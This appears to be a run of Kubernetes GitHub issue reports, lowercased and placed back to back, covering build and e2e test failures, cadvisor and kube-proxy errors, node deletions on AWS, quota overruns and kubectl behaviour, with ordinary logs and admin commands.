vendor/k8s.io/apiserver/pkg/storage/tests/cacher_test.go:718:3: fatalf format %t has arg pl of wrong type  k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example.podlist\r vendor/k8s.io/apiserver/pkg/storage/tests/cacher_test.go:747:3: fatalf format %t has arg limit1 of wrong type  k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example.podlist\r vendor/k8s.io/apiserver/pkg/storage/tests/cacher_test.go:761:3: fatalf format %t has arg limit2 of wrong type  k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example.podlist\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/tests  build failed \r makefile:184: recipe for target 'check' failed\r make:      check  error 1\r root@localhost:~/k8s_ws/src/k8s.io/kubernetes \r    \r \r \r   what you expected to happen  :\r tests should pass without any fauilures.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

after  14177 gets merged, we should add and/or update the following links:   1  if its possible  given that all the kubectl files are auto generated  we should include a link to the new “kubectl overview” at the top of the “see also” section within each of the kubectl command topics for example, this  topic  http://kubernetes.io/v1.0/docs/user-guide/kubectl/kubectl_api-versions.html  should be updated so that it includes the kubectl overview link: ! image  https://cloud.githubusercontent.com/assets/11762685/10173779/07ca965e-669b-11e5-9c03-91873322d27a.png    2  the existing “kubectl” links in the following topics can be improved by instead linking to the new “kubectl overview”:  urls should change from   …user-guide/kubectl/kubectl.md  to  …user-guide/    kubectl-overview.md    in the following topics: - …/docs/user-guide/prereqs.md: replace url for “kubectl” - …docs/getting-started-guides/aws.md: replace url for “kubectl manual” - …readme.md: replace url for “kubectl command line interface” - …docs/readme.md: replace url for “kubectl command line interface” - …docs/api.md: replace url for “kubectl” - …docs/getting-started-guides/scratch.md:  replace url for “kubectl” - …docs/getting-started-guides/azure.md: replace url for “kubectl” - …docs/getting-started-guides/gce.md replace url for “kubectl”  related:  11814

we've received plenty of user questions asking whether their container or image gc routine functions correctly. there are two most likely causes: 1. their gc settings are not aggressive enough. i usually point them to our  gc doc  https://github.com/kubernetes/kubernetes/blob/80f2d89a79bee987e6c1553ff7617a7c71b977d9/docs/admin/garbage-collection.md  to check if varying the parameters would help  thanks to @dalanlan, @pwittrock and @vishh for the doc . 2. gc does not run correctly. this is harder to detect.  to provide more clarity for the second case, we can do: 1. log more. this is the easiest solution, but reading  kubelet.log  may not be the best experience  for users  as it could be noisy. we also don't want to add more to our logs. 2. similar to sync loop health check, we can ask each gc component to log a timestamp and fail the check if they are not responsive or haven't been able to successfully run recently. 3. registers stats to prometheus. we can ask the users to check the /metrics endpoint. we can also add a prometheus pod to scrape the data in the future   11858 .  i am leaning towards option  3  since it's easier to customize the metrics we collect, and it's more user-friendly too. thoughts? @kubernetes/goog-node

e2e test for  25045: http://goto.google.com/prkubekins/job/kubernetes-pull-build-test-e2e-gce//39195  log:      project: kubernetes-jenkins-pull zone: us-central1-b +++  0509 19:20:23  verifying prerequisites.... +++  0509 19:20:24  building docker image kube-build:cross-1.4.2-1. +++  0509 19:20:28  building docker image kube-build:build-8f5624d469. slave went offline during the build error: connection was broken: java.io.ioexception: unexpected termination of the channel     at hudson.remoting.synchronouscommandtransport$readerthread.run synchronouscommandtransport.java:50  caused by: java.io.eofexception     at java.io.objectinputstream$peekinputstream.readfully objectinputstream.java:2332      at java.io.objectinputstream$blockdatainputstream.readshort objectinputstream.java:2801      at java.io.objectinputstream.readstreamheader objectinputstream.java:801      at java.io.objectinputstream.<init> objectinputstream.java:299      at hudson.remoting.objectinputstreamex.<init> objectinputstreamex.java:48      at hudson.remoting.abstractsynchronousbytearraycommandtransport.read abstractsynchronousbytearraycommandtransport.java:34      at hudson.remoting.synchronouscommandtransport$readerthread.run synchronouscommandtransport.java:48   build step 'execute shell' marked build as failure error: step ‘publish junit test result report’ failed: no workspace for kubernetes-pull-build-test-e2e-gce  39195  postbuildscript  - execution post build scripts. error: build step failed with exception java.lang.nullpointerexception: no workspace from node hudson.slaves.dumbslave builder-2  which is computer hudson.slaves.slavecomputer@3831587f and has channel null     at hudson.tasks.commandinterpreter.perform commandinterpreter.java:74      at hudson.tasks.commandinterpreter.perform commandinterpreter.java:64      at org.jenkinsci.plugins.postbuildscript.postbuildscript.processbuildsteps postbuildscript.java:204      at org.jenkinsci.plugins.postbuildscript.postbuildscript.processscripts postbuildscript.java:143      at org.jenkinsci.plugins.postbuildscript.postbuildscript._perform postbuildscript.java:105      at org.jenkinsci.plugins.postbuildscript.postbuildscript.perform postbuildscript.java:85      at hudson.tasks.buildstepmonitor$1.perform buildstepmonitor.java:20      at hudson.model.abstractbuild$abstractbuildexecution.perform abstractbuild.java:782      at hudson.model.abstractbuild$abstractbuildexecution.performallbuildsteps abstractbuild.java:723      at hudson.model.build$buildexecution.post2 build.java:185      at hudson.model.abstractbuild$abstractbuildexecution.post abstractbuild.java:668      at hudson.model.run.execute run.java:1763      at hudson.model.freestylebuild.run freestylebuild.java:43      at hudson.model.resourcecontroller.execute resourcecontroller.java:98      at hudson.model.executor.run executor.java:410  build step 'execute a set of scripts' marked build as failure error: build step failed with exception java.lang.nullpointerexception     at com.google.common.base.preconditions.checknotnull preconditions.java:187      at com.google.jenkins.plugins.storage.abstractupload.perform abstractupload.java:176      at com.google.jenkins.plugins.storage.googlecloudstorageuploader.perform googlecloudstorageuploader.java:109      at hudson.tasks.buildstepmonitor$1.perform buildstepmonitor.java:20      at hudson.model.abstractbuild$abstractbuildexecution.perform abstractbuild.java:782      at hudson.model.abstractbuild$abstractbuildexecution.performallbuildsteps abstractbuild.java:723      at hudson.model.build$buildexecution.post2 build.java:185      at hudson.model.abstractbuild$abstractbuildexecution.post abstractbuild.java:668      at hudson.model.run.execute run.java:1763      at hudson.model.freestylebuild.run freestylebuild.java:43      at hudson.model.resourcecontroller.execute resourcecontroller.java:98      at hudson.model.executor.run executor.java:410  build step 'google cloud storage uploader' marked build as failure error: step ‘set build status on github commit’ failed: no workspace for kubernetes-pull-build-test-e2e-gce  39195 setting status of eb6aab960466bb53f75a84537dcbb254d80abb7a to failure with url https://console.cloud.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/25045/kubernetes-pull-build-test-e2e-gce/39195/ and message: ' no test results found.' using context: jenkins gce e2e gce e2e build/test   failed   for commit eb6aab960466bb53f75a84537dcbb254d80abb7a.    build log  http://pr-test.k8s.io/25045/kubernetes-pull-build-test-e2e-gce/39195/build-log.txt     test artifacts  https://console.developers.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/25045/kubernetes-pull-build-test-e2e-gce/39195/artifacts/     internal jenkins results  http://goto.google.com/prkubekins/job/kubernetes-pull-build-test-e2e-gce//39195   please reference the  list of currently known flakes  https://github.com/kubernetes/kubernetes/issues?q=is:issue+label:kind/flake+is:open  when examining this failure. if you request a re-test, you must reference the issue describing the flake.  finished: failure

we want to enforce that pods can be only be created from a known set of flavors. i've started the work to create an admission control plugin to do the enforcement. initially, it will only be enforcing cpu+memory, which is the same set of resources that quota and limitrange plugins manage today.   @derekwaynecarr do you have any specific suggestions?

i'm running a kubernetes v1.2.0 cluster on aws.  my master instance is ubuntu 15.04  initially provisioned via the  kube-up.sh  script .  i'm only running 4 nodes  also ubuntu 15.04   i had an issue today where   all   nodes in my cluster were marked for deletion at the same time, which terminated all pods.  my nodes  all m4.large  were healthy before and after this happened.  5-7 minutes after they were removed in kubernetes, they all came back.  it's probably worth noting that my master instance is a t2.small, it has been serving me well for months, but i'm noticing now that the cpu credit balance is consistently low  but not zero , so it's likely the instance was slow during this time.  i plan to upgrade the instance, i'm aware using a t2 instance for a master is not ideal, but i still don't think a slow master should result my nodes being deleted.  here are the relevant logs from  kube-controller-manager.log .  i don't see any events before this that look relevant.      i0713 15:52:24.065055       7 nodecontroller.go:430  nodecontroller observed a node deletion: ip-172-20-0-174.ec2.internal i0713 15:52:30.632460       7 nodecontroller.go:603  recording removing node ip-172-20-0-174.ec2.internal from nodecontroller event message for node ip-172-20-0-174.ec2.internal i0713 15:52:36.244664       7 nodecontroller.go:430  nodecontroller observed a node deletion: ip-172-20-0-176.ec2.internal i0713 15:52:36.244730       7 nodecontroller.go:603  recording removing node ip-172-20-0-176.ec2.internal from nodecontroller event message for node ip-172-20-0-176.ec2.internal i0713 15:52:36.244758       7 nodecontroller.go:430  nodecontroller observed a node deletion: ip-172-20-0-196.ec2.internal i0713 15:52:36.244763       7 nodecontroller.go:603  recording removing node ip-172-20-0-196.ec2.internal from nodecontroller event message for node ip-172-20-0-196.ec2.internal i0713 15:52:36.244773       7 nodecontroller.go:430  nodecontroller observed a node deletion: ip-172-20-0-201.ec2.internal i0713 15:52:36.244778       7 nodecontroller.go:603  recording removing node ip-172-20-0-201.ec2.internal from nodecontroller event message for node ip-172-20-0-201.ec2.internal      a few minutes later all 4 nodes start to come back online:      i0713 15:57:30.029724       7 nodecontroller.go:803  cancelling pod eviction on node: ip-172-20-0-174.ec2.internal i0713 15:57:30.029784       7 nodecontroller.go:415  nodecontroller observed a new node: api.node  redacted for brevity  i0713 15:57:30.030230       7 nodecontroller.go:603  recording registered node ip-172-20-0-176.ec2.internal in nodecontroller event message for node ip-172-20-0-176.ec2.internal i0713 15:57:30.030251       7 nodecontroller.go:803  cancelling pod eviction on node: ip-172-20-0-176.ec2.internal      @justinsb

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/7723/ multiple broken tests:  failed:  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:334 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.186.224 --kubeconfig=/workspace/.kube/config rolling-update update-demo-nautilus --update-period=1s -f - --namespace=e2e-tests-kubectl-x9715      0xc420acb5a0 created update-demo-kitten\ scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods \ scaling update-demo-kitten up to 1\  error: timed out waiting for any update progress to be made\     <nil> 0xc420e4b5f0 exit status 1 <nil> <nil> true  0xc420036bd0 0xc420036c10 0xc420036c28   0xc420036bd0 0xc420036c10 0xc420036c28   0xc420036bd8 0xc420036bf8 0xc420036c18   0x9730f0 0x9731f0 0x9731f0  0xc420cb8e40 <nil>}:\ command stdout:\ created update-demo-kitten\ scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods \ scaling update-demo-kitten up to 1\ \ stderr:\ error: timed out waiting for any update progress to be made\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.186.224 --kubeconfig=/workspace/.kube/config rolling-update update-demo-nautilus --update-period=1s -f - --namespace=e2e-tests-kubectl-x9715      0xc420acb5a0 created update-demo-kitten     scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods      scaling update-demo-kitten up to 1      error: timed out waiting for any update progress to be made         <nil> 0xc420e4b5f0 exit status 1 <nil> <nil> true  0xc420036bd0 0xc420036c10 0xc420036c28   0xc420036bd0 0xc420036c10 0xc420036c28   0xc420036bd8 0xc420036bf8 0xc420036c18   0x9730f0 0x9731f0 0x9731f0  0xc420cb8e40 <nil>}:     command stdout:     created update-demo-kitten     scaling up update-demo-kitten from 0 to 2, scaling down update-demo-nautilus from 2 to 0  keep 2 pods available, don't exceed 3 pods      scaling update-demo-kitten up to 1          stderr:     error: timed out waiting for any update progress to be made          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2067     issues about this test specifically:  26425  26715  28825  28880  32854   failed:  k8s.io  docker containers should be able to override the image's default command and arguments  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:64 wait for pod \ client-containers-db59435e-04ef-11e7-8ad9-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203d22c0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  29467   failed:  k8s.io  docker containers should use the image defaults if command and args are blank  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:34 wait for pod \ client-containers-2141ff56-04f0-11e7-96a8-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420412e60>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  34520   failed:  k8s.io  deployment deployment should support rollover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:77 expected error:     < errors.errorstring | 0xc420ef6000>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:547     issues about this test specifically:  26509  26834  29780  35355  38275  39879   failed:  k8s.io  secrets should be consumable from pods in env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/secrets.go:194 wait for pod \ pod-secrets-db246636-04ef-11e7-92cf-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203a0020>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  32025  36823   failed:  k8s.io  configmap should be consumable from pods in volume  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:37 wait for pod \ pod-configmaps-0d4add59-04f0-11e7-9c9d-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc42045b3a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  29052   failed:  k8s.io  deployment scaled rollout deployment should not block on annotation check {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:95 expected error:     < errors.errorstring | 0xc420c9c010>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1067     issues about this test specifically:  30100  31810  34331  34717  34816  35337  36458   failed:  k8s.io  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar  9 09:50:29.512: couldn't delete ns: \ e2e-tests-disruption-h1ml0\ : namespace e2e-tests-disruption-h1ml0 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-disruption-h1ml0 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:353     issues about this test specifically:  32668  35405   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:45 expected error:     < errors.errorstring | 0xc420414940>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:544     issues about this test specifically:  32830   failed:  k8s.io  emptydir volumes should support  non-root,0666,default   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:113 expected error:     < errors.errorstring | 0xc420c7b2d0>: {         s: \ expected pod \\\ pod-db21fa03-04ef-11e7-adb2-0242ac110006\\\  success: gave up waiting for pod 'pod-db21fa03-04ef-11e7-adb2-0242ac110006' to be 'success or failure' after 5m0s\ ,     }     expected pod \ pod-db21fa03-04ef-11e7-adb2-0242ac110006\  success: gave up waiting for pod 'pod-db21fa03-04ef-11e7-adb2-0242ac110006' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2167     issues about this test specifically:  34226   failed:  k8s.io  downward api volume should provide container's cpu limit  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:162 wait for pod \ downwardapi-volume-dc048ee5-04ef-11e7-b9e5-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203d0ef0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  36694   failed:  k8s.io  downward api volume should provide container's cpu request  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:180 wait for pod \ downwardapi-volume-db918ca1-04ef-11e7-8f3c-0242ac110006\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4203ef430>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121       failed:  k8s.io  deployment recreatedeployment should delete old pods and create new ones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:71 expected error:     < errors.errorstring | 0xc421140010>: {         s: \ failed to wait for pods running:  timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:423     issues about this test specifically:  29197  36289  36598  38528  previous issues for this suite:  37170  37993  40706

following scenario is pertaining to federation with coredns provider only.\r currently user has to manually configure the cluster-dns to add the private nameserver in federated clusters in order to do cross-cluster service discovery from within pods. we should be automating this step to better the user experience.\r \r recently a pr is merged  41826 which will enable configuring cluster-dns with private nameservers using stubdomains.\r \r cc @madhusudancs @kubernetes/sig-federation-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r set the resourcequota  of pod to 60, and using scheduledjob  to create pod every 1 minute. in the process of creating until the pods have received the limited resourcequota , just shut down the main controller-manager, let the standby one became main. then the controller-manager will continue to create pods, more than 60, just exceed.\r \r   what you expected to happen  :\r even in the process of changing controller-manager from standby to main, it does no effect to resourcequota.\r \r   how to reproduce it  as minimally and precisely as possible   :\r when the resource has reached the limited quota, shutdown the main controller-manager\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release :suse\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r cadvisor can't collect container metrics\r \r    \r curl http://localhost:10255/stats/summary\r \r internal error: failed to get root cgroup stats: failed to get cgroup stats for \ /\ : failed to get container info for \ /\ : partial failures:  \ /\ : recentstats: unable to find data for container / \r    \r   environment  :\r - kubernetes version:  v1.8.1\r - docker version:  v1.2.6\r - kernel：kernel version is 3.10.0-327.ali2010.rc7.alios7.x86_64.\r \r removed cadvisor-port=0 in kubeadm \r \r    \r cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf\r  service \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cgroup_args=--cgroup-driver=cgroupfs\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_cgroup_args $kubelet_certificate_args $kubelet_extra_args\r    \r \r --------\r \r \r    curl http://127.0.0.1:4194/validate/\r cadvisor version:\r \r os version: alibaba group enterprise linux server 7.2  paladin \r \r kernel version:  supported and recommended \r     kernel version is 3.10.0-327.ali2010.rc7.alios7.x86_64. versions >= 2.6 are supported. 3.0+ are recommended.\r \r \r cgroup setup:  supported and recommended \r     available cgroups: map perf_event:1 hugetlb:1 cpuacct:1 memory:1 devices:1 freezer:1 net_cls:1 blkio:1 intel_rdt:0 cpuset:1 cpu:1 \r     following cgroups are required:  cpu cpuacct \r     following other cgroups are recommended:  memory blkio cpuset devices freezer \r     hierarchical memory accounting enabled. reported memory usage includes memory used by child containers.\r \r cgroup mount setup:  supported and recommended \r     cgroups are mounted at /sys/fs/cgroup.\r     cgroup mount directories: blkio cpu cpuacct cpuset cpuset,cpu,cpuacct devices freezer hugetlb memory net_cls perf_event systemd\r     any cgroup mount point that is detectible and accessible is supported. /sys/fs/cgroup is recommended as a standard location.\r     cgroup mounts:\r     cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0\r     ...\r \r docker version:  supported and recommended \r     docker version is 1.12.6. versions >= 1.0 are supported. 1.2+ are recommended.\r \r docker driver setup:  supported and recommended \r     docker exec driver is . storage driver is devicemapper.\r \r block device setup:  supported, but not recommended \r     none of the devices support 'cfq' i/o scheduler. no disk stats can be reported.\r      disk \ dm-27\  scheduler type \ none\ .\r      ...\r inotify watches:\r \r managed containers:\r     ...\r    \r \r 

 \r   what happened  :\r after editing cm kube-proxy and replacing   nodeportaddresses: null   to   nodeportaddresses: 127.0.0.0/8   got result kube-proxy error\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl -n kube-system edit cm kube-proxy,  change null value and recreate pods with label k8s-apps=kube-proxy\r \r   anything else we need to know?  :\r log:\r  error: v1alpha1.kubeproxyconfiguration: nodeportaddresses:   string: readarraycb: expect   or n, but found \ , error found in  10 byte of ...|dresses\ :\ 127.0.0.0/|..., bigger context ...|:\ 127.0.0.1:10249\ ,\ mode\ :\ \ ,\ nodeportaddresses\ :\ 127.0.0.0/8\ ,\ oomscoreadj\ :-999,\ portrange\ :\ \ ,\ re|... \r \r   environment  :\r - client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os gnu/debian 9

 \r   what happened  :\r \r since migrating to kubernetes 1.10.2-gke1 i am able to consistently crash my hosting node.\r \r i am totally unclear as to why the node crashes, but here's some information about my stack and how i trigger the crash:\r \r - i run a glusterd file server via a statefulset\r - i mount one of the gluster volumes inside another pod\r \r i then obtain a shell  using  kubectl exec   inside either the pod, then i  cd /mnt/gluster-volume , and finally i try listing all the files  ls -lar  or try to change the permissions of the mounted folder, for example running  chown www-data:www-data -r /mnt/gluster-volume \r \r once the  ls  or  chown  process is running, i interrupt it with  ctrl-c .\r \r the crash is immediate. every time.\r \r not interrupting the process with  ctrl-c  does not trigger a crash...\r \r here's a video demonstrating the issue: https://youtu.be/pve_x6jjbjo\r \r   what you expected to happen  :\r \r not a crash.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:12:46z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.1\ , gitcommit:\ 75d2af854b1df023c7ce10a8795b85d3dd1f8d37\ , gittreestate:\ clean\ , builddate:\ 2018-05-10t17:23:18z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:  gke \r - os  e.g. from /etc/os-release :  cos \r - kernel  e.g.  uname -a  :  linux gke-hugues-default-pool-d94dd5e7-hxj4 4.14.22+  1 smp thu may 10 17:54:42 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux \r

failing jobs\r  sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-parallel \r   failing tests\r   sig-storage  persistentvolumes nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted.  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/6167 \r   triage results\r   sig-storage  persistentvolumes nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted.  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel&test=persistentvolumes%20nfs%20when%20invoking%20the%20recycle%20reclaim%20policy%20should%20test%20that%20a%20pv%20becomes%20available%20and%20is%20clean%20after%20the%20pvc%20is%20deleted \r \r failing tests \r  / /milestone v1.12\r \r /cc @tpepper @aishsundar @kubernetes/sig-storage-test-failures

what happened  :\r \r pod's readinessgate is a slice, which must support strategic patch to add an item, but actually it is not.\r \r   what you expected to happen  :\r \r pod readinessgate support strategic patch to add an item\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r a pod named \ pod1\  has readinessgate  \ bar\  ,  when we want to add a readinessgate \ foo\ , we use  kubectl  to patch the pod with the following command:\r     \r $ kubectl patch pod pod1 -p '{\ spec\ :{\ readinessgates\ : {\ conditiontype\ :\ foo\ } }} '\r    \r after patch, the pod has readinessgate  \ foo\  , but actually we want pod \r  readinessgate has  \ bar\ , \ foo\  .\r \r the root cause source code is at  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go l2984  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go l2984 \r \r   anything else we need to know?  :\r \r nothing yet\r \r   environment  :\r \r the latest version of kubernetes also has this issue

there is an undocumented feature in \ kubectl describe\ : if we give two arguments, for instance      kubectl describe node e2e-test      and the name is not found, kubectl searches for resources whose name starts with the given prefix  here: nodes with names starting with e2e-test  this feature doesn't work if we use / to separate the resource type:      kubectl describe node/e2e-test      what needs to be sorted out: 1. document  or not  this feature 2. unify  or not  the behavior for space-separated and /-separated parameters 3. document what return code is returned if resource is not found - people may be confused if they get success if node name is not matched, but is matched to another node with the given prefix.  if we want to leave this undocumented function as it is, i suggest to include comments in the go sources explaining why we have it.

when i run kubectl replace command follow  here  http://kubernetes.io/v1.0/docs/admin/cluster-management.html , i got the below error      kubectl replace nodes 10.162.64.136 --patch='{\ apiversion\ : \ v1\ , \ spec\ : {\ unschedulable\ : true}}'  error: unknown flag: --patch run 'kubectl help' for usage.

